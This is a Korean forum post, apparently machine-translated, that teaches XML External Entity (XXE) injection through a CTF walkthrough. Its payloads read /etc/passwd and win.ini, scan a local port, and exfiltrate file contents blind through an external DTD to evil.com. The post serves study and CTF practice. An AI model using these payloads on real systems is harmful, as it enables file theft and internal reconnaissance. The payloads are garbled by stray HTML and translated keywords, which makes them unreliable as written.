XXE 취약점 도입 및 활용 기법

krhackapt

Administrator
직원

0x00서문​

오늘 아침 특정 공개 계정에서 XXE 취약점을 공개한 기사를 보고 스타벅스를 발견하고 보너스를 받았습니다. 이 동굴을 밤에 보기로 결정

XXE 취약점 소개 및 활용 기법-1.png




XXE는 XML 외부 엔터티 주입이라고도 합니다.


간단히 말해서 XXE는 XML 외부 엔터티 주입입니다. 외부 엔터티 참조를 허용하면 악성 콘텐츠를 구성해 임의 파일 읽기, 시스템 명령 실행, 인트라넷 포트 탐지, 인트라넷 웹사이트 공격 등의 피해를 입힐 수 있다.
예를 들어, 현재 사용 중인 프로그램이 PHP인 경우 libxml_disable_entity_loader를 TRUE로 설정하여 방어 목적으로 외부 엔터티를 비활성화할 수 있습니다.

XML 기본 사항
xxe 취약점을 소개하기 전에 먼저 XML에 대한 기본 지식을 배우고 검토해 보겠습니다. XML은 데이터의 내용에 중점을 두고 설계되었으며, HTML에서 데이터를 분리하고 소프트웨어 및 하드웨어와 독립적인 정보 전송 도구입니다.

<br><!ENTITY 엔터티 이름<span>"엔티티 값"</span>><br>외부 엔터티:<br><br><span><span><<span>!ENTITY</span > 엔터티 이름 <span>SYSTEM</span> "<span>URI</span>"></span><br>매개변수 엔터티:<br><br><span><<span>!ENTITY</span> % 엔터티 이름 "엔티티 값" > ;</span><br>또는<br><span><<span>!ENTITY</span> % 엔터티 이름<span>SYSTEM</span> "<span>URI</span>"></span><br>예시 데모: 매개변수 엔터티 이외의 엔터티 + 내부 엔터티<br><span><span><?</span>xml version=< span>"1.0"</span> 인코딩=<span>"utf-8"</span><span>?></span></span><br><span><!DOCTYPE a [<br> <!ENTITY 이름 "nMask">]></span><br><span><<span>foo</span>></span><br> <span> <<span>값</span>></span>&이름;<span></<span>값</span>></span> <br><span></<span>foo</span>></span><br>시연 예: 매개변수 엔터티 + 외부 엔터티<br><span><span><?</span> xml 버전=<span>"1.0"</span> 인코딩=<span>"utf-8"</span><span>?></span></span><br><span><!DOCTYPE a [<br> <!ENTITY % 이름 시스템 "파일:///etc/passwd"><br> %name;<br>]></span><br>참고: %name(매개변수 엔터티)은 DTD에서 참조되고 &name(나머지 엔터티)은 xml 문서에서 참조됩니다. <br><br>xxe 취약점은 주로 외부 엔터티를 참조하는 DTD로 인해 발생하는 취약점을 악용하므로 어떤 유형의 외부 엔터티를 참조할 수 있는지에 중점을 둡니다. <br><br>외부 엔터티<br>외부 엔터티는 DTD에서 사용됩니다.<br><br><span><<span>!ENTITY</span> 엔터티 이름<span>SYSTEM</span> "< span>URI</span>"></span><br> 구문은 내부 엔터티가 아닌 외부 엔터티를 나타냅니다. 그렇다면 URL에는 어떤 유형의 외부 엔터티를 쓸 수 있을까요? <br>주요 항목에는 파일, http, https, ftp 등이 포함됩니다. 물론 프로그램마다 지원되는 항목이 다릅니다.<br><br>데모 예:<br><br><span><span><? < /span>xml 버전=<span>"1.0"</span> 인코딩=<span>"utf-8"</span><span>?></span></span><br><span><!DOCTYPE a [ //외부 이름 정의<br> < ;!ENTITY 콘텐츠 SYSTEM "file:///etc/passwd">]></span> // SYSTEM "file:///xxxx"는 파일을 읽는 데 사용됩니다.<br><span><<span>foo</span>></span> //태그 이름은 임의로 입력할 수 있습니다. 외부 이름과 결합될 수 있습니다. <br> <span><<span>값</span>></span>&content;<span></<span>값</span>>에 해당합니다. ;</span> <br><span></<span>foo</span>></span><br><br>Content-Type이 있어야 합니다.application/xml 헤더, 요청 헤더가 Content-Type: application/json과 유사한 경우 이를 Content-Type: application/xml로 변경하여 XML 취약점이 있는지 확인할 수 있습니다.<br></span>

여기 CTF 질문입니다. BWAPP에서 구축한 XXE에 문제가 있는 것 같습니다. 기사와 동일한 작업을 사용하여 얻은 결과는 다음과 일치하지 않습니다.

XXE 취약점 소개 및 활용 기법-2.png


QCoD1A.png



제목 주소: web.jarvisoj.com:9882

XXE 취약점 소개 및 활용 기법-3.png


QCoWtg.png에서



패킷을 캡처한 결과 요청이 다음과 같은 것으로 확인되었습니다.

XXE 취약점 소개 및 활용 기법-4.png


QCooXq.png



Content-Type을 Content-Type: application/xml로 변경하고 다음 콘텐츠를 보내 XXE 존재 여부를 감지합니다.


<span><span><?</span>xml version=<span>"1.0"</ 스팬> 인코딩=<span>"UTF-8"</span><span>?></span></span><br><span><!DOCTYPE sb [<br> <!ENTITY xxe "XXE Test"> //XXE 테스트는 출력 내용입니다. xxe는 변수로 이해될 수 있습니다.<br> ]></span><br><span><<span >em</span>></span> //임의의 이름을 선택하세요.<br> &xxe; //참조 변수 주소 출력으로 이해됨<br><span></<span>em</span>></span> <br>


XXE 취약점 소개 및 활용 기법-5.png




파일 테스트 읽기

XXE 취약점 소개 및 활용 기법-6.png


QC7EZV.png



가 플래그 파일을 읽습니다.

XXE 취약점 소개 및 활용 기법-7.png


QC72WQ.png



py 환경이므로 더 많은


HTTP/1.0 <span>200</span>을 테스트할 방법이 없습니다. OK<br><span>Content-Type</span>: text/html; -8< br><span>콘텐츠 길이</span>: 44<br><span>서버</span>: Werkzeug/0.9.4 Python/2.7.6<br><span>날짜</span>: 2019년 11월 27일 수요일 15:37:08 GMT<br><br><span><span><em></span><br > <span>CTF</span>{XxE_15_n0T_S7range_Enough}<br><br><span></em></span><br></span> 다음은 PHP를 사용하여 파싱되는 ML 문서

의 직접 목록입니다 .


그런 다음 php:<span>//filter 프로토콜을 사용하여 읽을 수도 있습니다. </span><br><br><?xml 버전=<span>"1.0"</span> 인코딩=<span>"utf-8"</span>?><br><span>< 스팬><!DOCTYPE 루트 [<br><!ENTITY 콘텐츠 시스템 "php://filter/resource=c:/windows/win.ini"><br>]></span><br><span><<span>루트</span>></ 스팬><span><<span>foo</span>></span>&am p;content;<span></<span>foo</span>></span><span></<span>root</span>></span><br><br> 포트 스캔<br>외부 DTD를 로드할 때 두 가지 로드 방법이 있습니다. 하나는 비공개이고 다른 하나는 공개입니다. <br><br>비공개 유형 DTD 로드:<br><br><span><<span>!ENTITY</span> <span>private_dtd</span> <span>SYSTEM</span> "<span>DTD_location</span>"></span><br><br>공개 유형 DTD 로드:<br><br><span><<span>!ENTITY</span> <span> public_dtd</span> <span>PUBLIC</span> "<span>DTD_이름</span>" "<span>DTD_location</span>"></span><br>공개 유형 DTD를 로드할 때 DTD_name을 사용하여 이를 검색합니다. 찾을 수 없으면 DTD_location을 사용하여 공개 DTD를 찾습니다. . DTD_location을 사용하면 특정 상황에서 인트라넷 탐지에 사용될 수 있습니다. <br><br><span><span><?</span>xml 버전=<span>"1.0"</span> 인코딩=<span>"utf-8"</span><span>? ></span></span><br><span><!DOCTYPE 루트 [<br> <!ENTITY portscan SYSTEM " http://localhost:3389 "><br>]></span><br><span><<span>root</span>></span><span><<span>foo</span>> </span>& ;portscan;<span></<span>foo</span>></span><span></<span>루트</span>></span><br><br>< br>맹인 xxe 취약점:<br>기존 XXE의 경우 공격자는 서버에 에코가 있거나 오류가 있는 경우에만 서버 측 파일을 읽기 위해 XXE 취약점을 사용해야 합니다. 에코가 없는 경우 Blind XXE 취약점을 사용하여 외부 파일을 구축할 수 있습니다. -band 채널은 데이터를 추출합니다. <br>데이터 에코에 DTD 사용<br>파일을 읽을 때 에코가 없는 경우가 있습니다. 이 경우 DTD 매개변수 엔터티의 특성을 사용하여 파일 내용을 URL에 연결하여 읽는 효과를 얻을 수 있습니다. 파일. <br><br> <span><span><?</span>xml 버전=<span>"1.0"</span> 인코딩=<span>"utf-8"</span><span>? ></span></span><br> <span><!DOCTYPE 루트[ <br> <!ENTITY % 파일 시스템 "php://fileter/convert.base64-encode/resource=c:/windows/win.ini"> <br> <!ENTITY % dtd 시스템 " http://192.168.1.100:8000/evil.dtd "> <br> %dtd; <br> %send;]></span><br> <span><<span>루트</span>></span><span></<span>루트</span>></span><br>evil.dtd<br><br > <span><<span>!ENTITY</span> % <span>페이로드</span> "<!<span>ENTITY</span> &#<span>x25</span>; <span>보내기</span> <span>SYSTEM</span> '<span>http:</span>//<span>evil.com</span> /?<span>콘텐츠</span>=<span>%file;</span>'></span>"><br> %payload;<br>%file 엔터티의 콘텐츠를 evil.dtd의 URL에 연결한 다음 Burp와 같은 도구를 사용하여 URL 요청을 확인하여 필요한 콘텐츠를 가져옵니다.</span>
 
뒤로
상단